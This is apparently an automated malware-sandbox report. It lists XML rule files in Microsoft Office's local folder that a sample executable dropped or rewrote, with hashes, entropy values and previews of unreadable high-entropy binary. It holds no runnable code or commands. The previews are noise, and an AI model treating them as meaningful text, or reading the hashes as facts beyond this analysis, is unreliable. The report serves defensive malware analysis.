Preview:	<?xml..zJ...l....zS2.d..`..4`.j.,k.u..p.j.S..+#d..k.....2w.q....8.kf.Yo.....s.K..]T.....S..a.....M..Z^..?.c\'.Q............_.zv....>.....a.3.SP?5.>....O -#...../...r..........,..[..J:e......gW8..c....J.a.....I'Q..O.&'..w7w9f.o...9.<O..H.m=w.....$.5...u...P.`.F..Xf....r..bIy.w..;.9...0e.3..%bP\|...r...E=....6B.q.ni....*.......P....N......S...\L.....^.....C.pO.h..e....d.."ke....p..1..9Rw............R..`.}.../...-..".9A...D;.)...B....\.E}%..Y..&.4K._.......A.+...{.jb.....W.Zxw..C....P.../....nHRX...F..l.z..f...U/.D..Y.`$.j......ag19...n.e>J.n..a..P.C......y\@...u.....`]y.........^.7u9V..aq.r.b.0.'.%....y..:..f......O....3...y.J....oG.E.....P...V;..:@.A...4..\P.P.....H:.Ha.b,q.F\|........+..i.HM..4m=U...TI.\|...Tp._..wM>.......5\.o.Xra.:xw...A<V....I.\|[...k...(...z:3.1....]..q....W..}..O.L...{...epT.4.........a..=a>...-......v.>....Jz....8....-i.X+...n.:...6.^.u....8i...k....H.,.4Ep..........&e....]`&......v.Bv.....wg.G@..{Z..~....... [~......$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8977072006866536
Encrypted:	false
SSDEEP:	48:o6wIBUzecIleUBvx//dH5IiDsarW5zDoiD:oGUzqD//dZ/gD3
MD5:	EE728F49BCBD352762A43E38EF2CF96A
SHA1:	06FC23707034472AC212796996D0B13A5209F6DC
SHA-256:	570E07CEE8968D2CEC80FE40C7ECAB210674AD53A1E13A6CAA6901D225CBE3CD
SHA-512:	64095AB81C54B05F599F281EFDD83A2810EEC81A03907A8B7F4FE464C311921D124AFCED56D0A9263CD65EC55908C2912F7CA05C3914090C2BE2D8C7A6E3C154
Malicious:	false
Preview:	<?xml....4...!.E5.cIp.C.].K...1%.b;...,.'...p.#}%.PVg.^.'rv.;~DA.....,.L.9.QW.v6.A..^....vB.:.dk`..7..Xz..B....8,.#..c.\......lm.j.b..+...-......Nh.3...<.L. \|m..)qZ..8...VH$....Y......}.M.j.......[.U...B'.....{v..\....aN....~......Z.B\|;....Ml.../.2..P<.A..o..[...L...vv..........e..1/./.O..H....@au.3."..".........9j. . ...._..-H."&......=.@..._.s.:........{2..x.o&...V..a.~....>.XR!...5...T...R..=....eo..%2M..........q......G.f.{VJK........=....N.L..;...@..SZF.d@..w..aoi.8I.ao%.2.>.gD%f..>P.m....".<...d.4Y..M...P<.$-.y .r....~.....g3.F...sp....$......p....'g~.M.....o.;U3r...~r.cOn..9..@..G.KrA0.C..D..p.)~$.......q3...d..\|Z..8....".1....(....-...B.;...z..veS..j..............`$.....4..(.MI....2O..I.c.."7..:Z....1..*.Y.x.\|...z/.ym.Ea1}.N!G.N....q....5....2.....Dh/S@.)[...}.....+.`.6..,.6.....Z.^...B.r;......^6H.Ia.Y.,wH.........7....^Q'p`M.M.d@...?]....),...5.U.$Jp.A!."\|.GX.[....PU.N7...J...3t=.cD....+.~z..#.=....cLx3.M...K[.....@......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.894116496572912
Encrypted:	false
SSDEEP:	48:Q1LNSGPOv2Uw5fz0w88r8qsPqS6jvhjQfSUzFLMiD:QFPOtMfzxr8qsPWJuD
MD5:	7501AEA3C97BFFB69F3DDC94EE5897CD
SHA1:	87731F863E6D2A6D455BA44A2DB317327F742FC7
SHA-256:	5D562344EFB58112FFEB1460691E0A1C57C3F3CB949FD04D50973B3B3A3C4FDF
SHA-512:	8779F6B0A632274083EF7005733FA2778886FFBF69DD72E61013994AA363F0A6FEE14192CE684E0D181B07005BFFA552E7B09B8CC154BCAA2FE36C9D9BA91174
Malicious:	false
Preview:	<?xml-....<.Pe.N.m.W..5.6.-..^8..s@u......VS.;........G..uq.0...We3.n8J.A{p..iT.N.. 94UV...I.p\...tt.....1@..X.{Z.P@...).r...z...F..\|....i..{G<.x...,.......7.F....cT...Tq.JR+.8..O.....EP.i......5...9...{..<..51H..O...=...E.9..f.z ...[#.[.c.Do.((..(...._!.x.8...^{..X.....x.I.n~cP<I.n.,..U.._...b......."(w.."....x...:.t.=.4.w^.=T.!.p.h9..c....!.?=.....\|....w..D\.a..H4....&:..F...a.Hh[.D$FU........M..UtU.D...m......D.r...3..].....+1T.....g.X.k.53..H...h..'%......8.Hp...!...0M..g.p@B....k.D.......Uo...g.%Z.W.../DU..e......S...E..~..1j...w...O....8.y.$.G.Q.V;...^.&#z.nIZ....oo...3..s......l...~.?. ..a....mmb.\|s..S................M..p.n...e.......T....n.F..-..._.F......s...u.d.../..}..W...5....&.<\|.p..'....I.}a....+...\V....w.....p.......}.....,B...U..Za)^..7i]..{w...KL-...a.G.W.?...'.T4.L.D...]...s..]..f.D...S.F...)<..._>.D..A..D.....W.p.........b.(\|!......vn[3..}H.<.>.._M..E...<e...;.!....).5..V.x.U.?M.g....g....b...t^uh..4..?..".{X...NU-..B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.876403736440729
Encrypted:	false
SSDEEP:	48:URptq/Q+SsMtZ69R8oowfBN+/rfb47Kqs/ptz4IliD:URptG9SHuR80+b4wtJU
MD5:	6A6E82E3757B767C5A6FC9AC12BAF10B
SHA1:	AD56A8AAC20A54763ED25E1588CB82978BCAB940
SHA-256:	B9168A6B769A1C6B0605DFED309531D7C54EE68FC90BA286287A8241A2E1C2F6
SHA-512:	6A63210EBC314B672B2AD49BDCEED8A5513E98746CD62891CC706569F297E8EEDC3F4B926BC922B7B7A74ABE70D162E0E0E4FB2A6653F501DD41DA8AC253906D
Malicious:	false
Preview:	<?xml01X.cwK...D...v_.6...Q.oJ..;eU.T$H..Q....:.,..7.TI6p...6.r..bP..@...Wx....P.X..0i.4..6..c.ZJ..J.[...3.........&....Q..Q.;...%..6...F@.9....xXMh..I.J.....)'..... .#...U....%1.._.1.BP.....Kh...']...>>S.;.I..i..L;x..iu.a.7....)Q..p..Lk.D.Bn..-sJB...R.w](F.e....Nniob6.X...v..W...2..N.e..l....0.X.)v..._..../...smC.x..m..(.H.zP46L.!...X.q.0.....>...bb.V?..s..V..,..Q.pVcGW'.....sM..?..,..f.3.....h.E...[l.7...j...[...G.7....H=QC....l....../..."..s.I....l.v..m.Z.uL.O.s/{-.A.uD.$dj.....(.....P&....x?E..C.d.F......e...7...K.Y...Y......5.N'.xr.g.Xjd..~].f.wq...oPtE..L;...yE.8a.SB2\...9..:.ph....>d.pE.......I?kx.gpo}....p/`.....Jt.x..y...GTQ~K...I.4..x......A..O..7..Z.H.=jI....[..~.J?...\|....u.........W.-.<..s..,.i-.F.VZ....},w....j...KD.A..!A>.~&.B..R.[....^......~.L..]......t...k..F..5..X5;=./U..V..l...(..A.P....C....o.)..w:=.....Y..JJ.)Q.Z.2.-.E.o.&.....2-....)...<.UyS.K..G..@.*...6........V..Y...=.....W.(.[.SH..H.Jy..c.<+.J....6..g.7'.......3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.884384044571406
Encrypted:	false
SSDEEP:	24:ZIZe20pHMlHWGmH78rS/eDT3A9ZACzA3/P47qsURE+LN/swbjdz4+EcI8QL2iTkX:K5laUSos83/PUqlSKlsujxehiD
MD5:	438CA9FE2E4CEBD07EF89E5421C2A715
SHA1:	6C24493CC72276A47E012C56568F677143F172CF
SHA-256:	D124AD410B3B33BAD92034C092DA5C8034FA0C4F2DE828049A6D77BD7145A1A3
SHA-512:	0527AD0C08D1AF4C434EA714DF3943B1C8B8744FF56619D5535AC9353BBF86FB88ADDA5D913306A4CDC2C2F15A7B01D571BA639FF5181557907774F88CA2FBDA
Malicious:	false
Preview:	<?xml.-M&E.2D...9..}...Z..5X...6..xMe.....-W2......]Q..l....N....P..l...{..f.[LRZ.}.;N!.l......g\$../cN.n.j..&....=..[............z.....tJv..C.a.d.H..O.H.Uo$2..o.R..(.w.;A%.+.-.ww..1z.=~.Iz..l.c.K....x......Tl.W...i...'.G.....a.Mfb...k..5(Q#.. .m.59......8.B.......9.w.9.6...X........s.k.6.pO).J.;.-Cb.R...c."... B'.[.zr............Z.....B....p.)e.\|....vX../1p]#..je.2..]..%...3...?f 8._.\Q.J.\|.....wp..0.6<../Q...0..l....t..vH........d...J... <h.I.).3.q%%)....$0-+..Ze0(....l..w./.[..n.X.c....e...).0.K..\|....R...;.v>}.@....f..>.{.-...:.W.....I......t.....M....bE.."..LL.W.spU.s..D..o...Xr.........s..;L.r.pB+.<r...A...d..F.... .W.8...L.&.E.F...`.$.).[....A....O.T...(.1.)A0Z.v....3J.?N..J&...&.s....:.V$0.e'\\|..=.o.`./..4....N..Un.O.@<./.-yuF....k...)"..L..4.:..K.@........?...> j...$...H.....z`.7...Kf.......+.....0u.iQ...9.f8q..t.O....O.C.O~....+..;......6....C`..O.DL...+GQ1..(...k\|.8qP-1@X...M...m]>.DG~...8^E..X8o./DV..YM)....2c.....^.v...i.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.874802378616074
Encrypted:	false
SSDEEP:	48:/Y243w3HRqeI2BmF8VbBIoul138/o57IiD:/H4cHxIfmVbBIo8138/W
MD5:	DDCCBBEE920637D60431DE36B50B8865
SHA1:	6509E9D650D0296971C6EA5DAEC581CDC4C97C1D
SHA-256:	D91AAD2B3F3EF794BCF76D466B018908D4BC17D2086B2135D396A79B65F069D8
SHA-512:	C60019F1981395FCFD7EA20C1EEEC10F6A944507DD8205B56E8D591BEADCC4419C466E550315245632E4F2FDECA0459F77080C2A6AFD97627229F1F7EDA1691E
Malicious:	false
Preview:	<?xml....0.-,..n...h....7l...n..S....F]1..W.P.&...2...........6...Q....^.....\..L....Ii.A...u\|.....Q..I.`...f..A\..b.T...=e.TX..n.$.l,.@Dm.\....\...%.../.K.XI......... .v.^..I.,t......&o.pE...L...M.E.~g..1z.c.^..._.!.)R...t..D]....&x.....u..hB...L.^S1)..BD..F"......dD..n..1'Ti8.s..z.gY."kdn.?.....^...t.0.g.a.?.U.j....1J(;Z....`..!c..l.V.\|.O....Rs.m#8../!..e............y.5..z.8./-..}Hi.lp...7;.]x.....V.D.N.o.y.?.Y....t........Q..kX..c.)./.(.....@..E.A.....g.o.(M.b..I.......$,...<..l..)..t..D...-.....<^.0'1......Sy...\|S..<.o.......J;..-.zX{.cJ".{..qS,.{...U....~,."7y....'....)#P.G2....9./..X.='5...R....a....m.}]...a...i.oV.Npw...-..T.BH...l..1.4...<....1#....Y.l,...0...4.5y3..n5...=+...6...QS...u.......52...:.D_...K.v...\|.jq\|o9M.........+G.!.....=....#.Q../@.&....a.. ggRUN7.d...6O ...g..:....+.Vk.iU9NS.z.tw..g.;&....Y...X.x..^.[i.'M........P.......Q....R..6y.K..Q&.&%e>.D..;..3Q.j~.'.L....){1.o..J.ANk...q<.p....x...D.5V..c.t.K....v_..*Y...HS.ZtHa%....8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.897250404197453
Encrypted:	false
SSDEEP:	48:+0FtmvGT2ZCPekvxvlYQ4P12DoyQ13Q8iD:FvICPbxO1Yo3dQL
MD5:	A2A7C715278E22EEAA5229C3E3E58941
SHA1:	3142D2C44A463D28AC9E525E9CB55FD4473CB8F1
SHA-256:	84AB284FB9ABA85CB59FF494399926265F0B8C94EFC085A83290CF3E057BA1D2
SHA-512:	B23BBD76AD4BC8846F9C86EECA3EF2EE4005303D8E1256FA9788725CC69EB61E8388D63CFE3F2D64B0F39D1A32616369E8BB128A9B05787FFB2EB33F5290B5DD
Malicious:	false
Preview:	<?xml.?.K.w.:..+........o^h=..0..q.kr...O.9b.\.:[...N1....l....-.{cl......yfa....]....w]...6..3h,...}@.aYY:...jZ..S.(....vu.c..G}.....+e.\|~..B....7..u..+...:..N.s.P....A......f...U.t..J#.\|..`8.....zF[.u.P4..h.=...V7c8{.....x..#;a.l0.....-........."........&j=.,.(!R....g/l.O.n...WH....0T......>M<.".R...%Z.K;./....K.....e(y."..)....s^......l.<....]G..>....#........"......5.J..8fB....;d8.../....So.U.....}...-Xo.8..........b..G`bv..q6.,Q^...,d.p.>..t".IC......."......L.aV..,,......M....,Tw._..m.Ui.`...\|w_]l\|.sF(.r...u."`..Z[../BQ.R.K...\|..c.)P..=jc.>%H.....~...-...v.....c...#..V>s.:....)....`G..L....._~.D..~.b.8$.7..<.DQ..I..3.Oq...VT._......l.U....k.`...g..:.t@.(B..b.s.g<...E+.QT.vKc9.,~..u;nusY.......x!=..9N.=.Qs..u[R..c..F.g"}....FS.....gf....l.c.....R...X.e.K1E..)...~\.......B4...7}...+H.....;.....~x..g...d^...`gV..E_.-..(....q...[_..`$..HJ`..a.y.s2o.a$`.....H...`<...m..C..U..FD-..3;..C.{.ED.2=.N.J.(..C\|6....".....,.-.....I.?.Q~rmU.m .o.}...h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.885880327752954
Encrypted:	false
SSDEEP:	24:8+Us3m/e2mD/Y/M5BlZq47h766B9wOGidA5rH4S2TmQjPaSDr4ExvLUWusiTkbD:7J3m22mD/Y/MH66B5GikrH0TrxFL4iD
MD5:	1A623366C28AFA3B2EDCA5399047D050
SHA1:	6315C82D86861F47BDFF3755BFC88A1E86416CD5
SHA-256:	DBB2793ED484E2E9B0D43C71CAF7B1961627E0DF78DF738B6E6BB71513911035
SHA-512:	5048D3349378ACBEAB23ABF485C2026A6E37100E444AF2FD28E58E7340EF34135A6D53FF63F864173F181931A980D0FE66B2A0F2580231D0735BD3352E4F0DFB
Malicious:	false
Preview:	<?xml.#.......7.....W.s..myD..Xj~.Lu.O.>V..z..p.A..B.KY.z.y.x..'..L._I. ..N.............ab........[\|9..d.bv.N/Lv..W.Y..o..Bs..Z.3..RH">.I..K.ZVQ..`m..........D.S....;.HY\|.:.M.+......-+xp......M.....+..:G..a.,6.?...8.........)..wC.f....5. ..FG.C...sR............._1?.u.Z...5.^ .'.93../.....r.+VOc.....Ew.....nB6.]..%.i.UgAW./......j7..f....t.Z5....,H.......S4..lsp.Z2.x.b.]....\........."...N..b.S.:..w.0.S/.v:.7mUc..<.S...FL....N...T.9N.q.n..y~..... H......y.C.<......&0...J\.\|i68E.....o8C2....`.....&..Y=]?..WWm...h.C.N..G.. t.....9.W...@..B,x..W.......E.C.]..x..V8.......U....X.Z.h.....@..G....H..ToVgK..)B.\.Ca..T........^.#.~... .E^...l/.......D...]SQg..$.2.4.p6.BI.....'o#.....]..Rk#.G/.V.w.....5.r.R2~.t.(....$.....`7.....'AV.....6.9.fw..1~..j.L.m..[(.SOD..,w...O...x.8b..\|yD.B....?..8..<.NJKH..n..&.].[V......~.....C.....LK.Y.Rw.@BB].O.!%.k...]..4#H..f..qF.L........9.b.u.T.l.@uF.R^b..p.m..6q..7..*).GB...E.Q..4...,A...."]X..j..........{.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.898056033662666
Encrypted:	false
SSDEEP:	24:xQY3Kq52u3aJFXPzztRbog/9TbAgii/tygGD8xYhaXyziveXu1HClpw4J7l56OSA:zKq53CLxmQJz/QZCOSvAo+56fiD
MD5:	F94118511E37CEEE5BDED03946263804
SHA1:	DBF79E7F58055825F1E8BED7478E57B1C69E0762
SHA-256:	3CF430642DA799747C167121DC927B576EBDB5A608926F8D8AAD9E12F7104AFF
SHA-512:	EABBC65F015D4F5DD98080FD7705E503D0B400B36FC72F2ECE561A6E950CFA44507CAFBC68F7C1CD102CF6ED380885EA1D9D823F1F4D60178A8CCF503C9A3476
Malicious:	false
Preview:	<?xml.......BFxkt...FC~........+..ns....N....9X.f................n..h......\|!......Q+(....f..T.r#.^...c..e%..R.......\.{.t.F...b...o.%.:..f.....%..2Q.h.c....m'u0\..^.}O.~.../...Z...`........T..\RX.h.."...`'+.P..p...q...3X9...... .O..........?;.E....7t4.)...'kH9.:.)....:.3.$,.WZ.\.80.. .3...CB..\|.b.D.....\..(vJq.....(v+...F:...a).T.n...dL..l.M.o...HF.x...&..+.I3.!Q..e.-H vo.+.g...`....E.."..&.........^M.#s..m1<.[.\.k3....t..........Df..@........`.,.\|(_\|..b@'.Q.....7......+<...9R......).o.7.}.].'..........juK..c\|.}W>......d.....v.......o..\|a`..M....c........0...`=......s.<j+.g......v....W@..h$.#W^..{Y..."+1,...k....T...6^...e..&.w...S(.15[.}........g.F..a6..z+....u...e...'z,.......u.....<)#........o.\R.\|.!....kd$D...6\|:)..W.c...6.A.~..[..q...u...#zd..{VD7..w..hVU..m......gf.'!..~.A....5k...o,Cfl..9S.....,.8...z./_..I...P...@.=.5].t.B+..X..$CE...-<.V.j.O...<i...r1..T.}..r6=.}f.<.$..l..b.9...!\.....m..B.....t~-K+b..R._C....... ]${>K(.F.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8675227797867615
Encrypted:	false
SSDEEP:	48:FtPOu81NkSr3GiposWNjXZiVkvOyl1+/6z4HUyiD:T581NkgposWNYm1+Sz4HUF
MD5:	DEADAA7B45F9C8AC25DD40F00C12B5F3
SHA1:	EC04D9B09B5C87F5FE6349B4BC10869FC0469207
SHA-256:	BC39BA3DCE35AD006C69B59D31585A2F3B3568223C290DCA8923F40B3E5E1F5F
SHA-512:	C0EB57575D01C431AFCDA006C65A754011FFA1747330311E58FD5E422CC26B7D10AEE3CD1DF826E1F1C42E63962210BE58A2FE28B79908F346161C6E308B0B67
Malicious:	false
Preview:	<?xml_:..G.7...h.+..1..0...R.\.f..3M..m(...~....N.M.:..=6.."%\?.x...Z...A...G.F......T-....a..R...R(.[1....2..\\.6..a4...........S..\|y.Ow..../.l7...`.a(....R.(.v..iH..K.../..-9e..W>..;.Sq<Zev..=.^i....+..X...\.1^.1..Tv.!H(..=..B[...2..a.6"...O.Y1..O^....KxH..0.l_..OY.`..Eb..l.JVD..gY.3..P&eK`......Fx...D4R..m............tWL].XX..fz6........d...r....0..=L........n:.@O.b"o.s...KQ.&.=.l....#>.....A.....m...p.8....@K.V,h.9.E.%y4.~.W....^..H.I..q.2e..U..)M\..R..O.......h.Q..F.@..[..=...._X8..^..+.\|.......CY.\|...<]3..od......F..S.x.um..i .bC.og....toX....3y...A?..yg2..'.?..d.........d....U.F....&f..N....P_...2...b.c..'..M....X..8^.6...$R0.xg..P!..0........Q.p....n...4p.U&e.$.$y..M.(5D...0..-..1Rr..4.r.....l.........Pe.8.E7n.}....r.........I..r".[.......+..z.t...'U..<...y......X(2.?..F./.u.>b.%.7tGK@..P..`..F.n............2{1....4g.H.}..?.sxy.5o...$..O...E..)M....`n...z.x....\|.F.....0.(u......-...Q?{.N..vOu.....E +\........ .s......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.8700443036448275
Encrypted:	false
SSDEEP:	48:G+sbe2IqikIDKlRhgVL6NN7RpRvRp+rNKPaiD:oa2IhkN7tT+pm9
MD5:	C6CFFE57F53732AC602A1870BB5DCC2B
SHA1:	2789DA555A527AEC5DC8242083CDC7F73D09D6C3
SHA-256:	DA205B268A01FA525E66BABACB65D5FDFE78FBD2D45D688A26343E59E2B8700F
SHA-512:	E74B7E0A06285A8377CE79A5CE6E0E20EB5023A2875C92492F737F6D3D5F80C07B91B59043475D46CA5D0E8D37880C1560FACBA8CF8554B7855DCC210AFFF496
Malicious:	false
Preview:	<?xml.......\|...{nv....8$&/....P.l.&wG-aV.Z.#X.a_..\|..m4..AO..Y.=.a=..l..u..Gc...L_`.....6:.T.N.p..5...}W5Hg.r.]..2.l.6...6....N..1.6.X..x..x.D.z..)+..3..Ka/..Tc.>...t;)..u...j...a......i.....]..).([...tn{.I..=..0_.:P...{BX9>.....y..p..c.!.}.U....!S.t.{.&...\.3..T.h(sV.....s...?..:.\|.r.$.j.......\|.{...j....?M...#B..'.`....W..l...<....0.eK.........Ws..> T.l.+y.0..?T.C..J..Ei............D.d....;N.y...m.HX.%....0..GG/..v......q.sl..........N;6.C........?.>Bt}./]ft.......Zrl.......m...2@Hf/.)~.(R...A,..FF...meT..SL.(..7..`.Lo...Tmy4w8....g..B.c...x.w..T.F_.O.1.ij.5...=..p.;.#].a(..G..l%...Dt.`i..\|..1...Q..kT.e.{.4.....f...9.t....2.I...A.S7n.........6-..6n......7t.$.1...}....-.}...(?h6.h.....=..T(..JB\...>......g...H..E8...2...=d.sy.....K.g..[...p..F.J.-......i.A,>r.g.@_....V....6C..3..1...m.... .0.[....Q....n.\|W..........2p@b..KsV8.-..8..K.9..H"..)........{&^..=.0..V.......p.6%D..'.Cm.C.2..Z.D..e.KNs...B....^W..B2..."N...O...c.n...c.?.\|.m.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.889804063900206
Encrypted:	false
SSDEEP:	24:ge+U72XW4m53kYdl7ZXrQBE+9xysuR7OS+F4AHBHjr26BDj8+JFV9ZRTyi4iTkbD:oUqlm53kY9d+9xw7ZvAHEADjLVTbiD
MD5:	90AB89E921F5F8D851BDCA262277ED32
SHA1:	CE24CA588A51B41210E878F7486C8C38652F47F0
SHA-256:	9A8F2574300BC398F350B0A4F4F60CFF5E71A8522CDDE440DF9C6C9FB6DFB79E
SHA-512:	61F7752C4D4EF515D7937DDDB0984DA7A0B67DB7CA06957A37CD7BF630DCF5BF745B3181B284537332497C3A573B1018097536087F7EAB2495AAE39C708F838B
Malicious:	false
Preview:	<?xml)..j.D. ].L.o..gxn.i.`.b.o&...Z0...-.o.W........Q.d^`q..@..A.%W ..(4..3...RI.....=..ys...S.......z.................[...r*F^K.....AN.....v....t...K[.,$+...C.F.%...u..L.`..fly..\|.......\|>g....G..s{T.<.....p..Q..n..?:.jJ.W.LR{.mEY#Pb..R.">.J..li.I.........W........sP .b....G..'I...rJ.&.D(.~.'d......G[.7.?...V".b......hs.xF.X.:......m..n...~..G....e.....g..Gn.!....Y#...N.D..2.Vn....S.[[..xn........vW?.,.....82..?.......?G.(<...w....>N....I...n@..8B..o...#.s..}.[.HM.Z.dYe.6zh.r...D...6T^.....K../..S..[....!z.(....t..q...a.%f...e..Q.6.2.\|`J...ul.H&.MHR..y.Wx..t....6$.R..Q......6.'.T.`Q.....Z...c..F8...}x.....N.H..]..o......Xd.r...X....k.?6.....NT..C.G........7....=E.XK.e..1..o..8..o..D..:i......U..cnK...0a.EKO..1j..{.(.~+.k./...t..i..E\|Yn;.e>.xu.@e:....!......\X.t.'q6.(.=,\.....x....).\>..}/.mE6.........c.....x..%.u.-..~......_...,.X.'...._..^.-.G...C....y..L....f~`.7.?.d....Z2.}.m@8.fq...u....k..k.m..+@.R.HSz....W.......#...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.884568061894552
Encrypted:	false
SSDEEP:	48:a+8yo7ikTxP7ozN9+oHA/sCEu1pusbEjfws53z2v7iD:FydKRA6isFgusbyh3z2v+
MD5:	7962E8291A531F9F8107E025D63C9A0D
SHA1:	E77127E3AF970E5787C07F8D7E6C14F18CAA6DA5
SHA-256:	F060AB496EC3118283FB93A885D9AF2EC3D2FDF41711B2619728EC74171C221E
SHA-512:	388C189A0187F175F74043CE0D78DD2A3371DC1609E727719391B0CC196DE16D9D33F098D4CCF0BD58C3CBD00C140F04D00C0FC70B3BFBA83C6ADB598F51D50B
Malicious:	false
Preview:	<?xml...[..!...c.n@......t...k.q......1.g~..<..Si.<.'..=./.Y...?f...#.~..r..L8_.U\|\.t.s..{..#....h~..\...o.".\|...X..J._..{rQ.T.;.QE..).B1.G.0.h......2...sf...$..7....?d5.r.CC).........E..K.x.].qA.a...c5.2..\..i.V.#.~....Ex].'&..P....6....=.......C.\|:.Hj0....X{q.=..y..87..w.u....Z[.Rs[.yv...K/.....+I.E"....X...#.T...z.q.C].FQ....5.5s......j.u.].9....XG...\|D0yk.....E.G....]V^\.....@.Q...pR.h ry[....3w..[...L....M'.`T5...I.E.K.h...b........b.!..ge...L~[.f..x....?V7.=...O..F..;..`..E.K..#3K....".0.n.4....f.G..z.......;.....;.c..s...%D~..@..pBc..;....,!4R..$%...q.D$.*....Q:~..,!Vv.Up...\.#e..+..0t.X.v........W.?B\r.Y.B.0..000..@.rN)..E.W...p..Rw...........Z...c......A..qW)...Z..l...{b...v/{#>.m..>..d=41U.m...tO{..o....(..V.......y..>w?....E0...{..&_...k...........m.O..]a.w[!2...F.....gh.....=.?... .....h.....G.Q.ac.. ..}..g6.D.,y..............9..ke.vV9....Y.3.#S..t."jR.N..<.Q.1`P.hqN......A...m.chE.S..XR5....N\|..l.B.t...5.....s.g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.889369062413199
Encrypted:	false
SSDEEP:	48:D/ZmcMkTKW5+5t3XKXCH8xvFZB/JdluwiD:syWK+XOCHC0
MD5:	761E776E9BA7FFD752E52929696BDF13
SHA1:	EF6544B6244CCC33059CEBC5B99CDAC9F06CF8A5
SHA-256:	4C5521CBA34203FC0972D0665D8ECA228FD420FC60AEDA1FCEDE62D01829C54D
SHA-512:	6AFD98528F0701EE680CABF61D07B40DF9BC25096E38F011F26AC279D3ECAAC490092259BE22607E5E84F8BBD1CE25B09E34460CDE5115B257283D3EBEE28EB3
Malicious:	false
Preview:	<?xml...Y...I.N.:3.U-gM....9....[x...ey.nO...E...a..z....j......5...>..v...-"..?..-.9.fE.4...........@...>~<w...X...S..T...HR.. .......cw,.....'..W..L..\.b......m.H...U.h{..im.a.......d.....t}.X...5.W....<.!q../.X.E.._B......D...J.g_..C..L.M..Rv..J }.^W.K0..@.^@.me>..hP.f...i..G..O.88.;...D\|<.As...H..,F....dX\|.$.dv....~.B.4..U..L...}....l.:\....7.l....9..+..S8.._.....5.#.F)qe.$.p)i..vyG......W?....Kit...i.NQ.......x..7....t.`.... ._....o..N..m.@s-.I%.^....lo:.c\|._)_^.H...[>.&==8\|'.y.h1#.....Nzp.;U.....c.c)... .:_.U4S...y..8..o.'.@.x9..8.!.......F.-o.\......I\|.B..J....z.q./!...4.K...F...4d..SK.......R..B..p..0.(........^.>..g.^.E...vs...^...L.V...W...K...m..}.j"n..+l..PP.D Ua9...D.M'.%..".6.\...."...m.l...g..Zv.......g.....i..@..q.Q.yI................[R....../..8...T.l..*;..\].....9..?.ry.......e.)@.....3&.3.....!.N;.FX.q>8.e.\.1."9.....7.... ...xL.i}A.[p..]`.....RN.s1.c8D.N.jhl.P?[K..ks.....:....Q.V...H.p...n^.8..).N.k..+F.A......\-\|...{.4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.886655612320056
Encrypted:	false
SSDEEP:	24:FCTomNSSNLldYuEpcUXhLDKX/I+YJX0/DroE6b15Y+Wd4I02Cxcs/r7GBiRcViTW:FCTRJBoXK+JO8B5nNHPF6siD
MD5:	F38D29AE2F1F7ED001B5FCC7F03A55CC
SHA1:	D763DE8AC83EB5F1DC50BC4BBD389C72009BC73E
SHA-256:	0FAABE6679AFE229E6F98A1710D3B569DDDCEDE05F0391718438A3C2AA7C8B16
SHA-512:	8077E2B222A5B09A5C93E35F9869331E9683A51D822CDF486B53CB68BBD07298BF63952B7534B8EFD653EDF33F222AF0AACD2D32D5A9BAD27C48E785DC2ABBF0
Malicious:	false
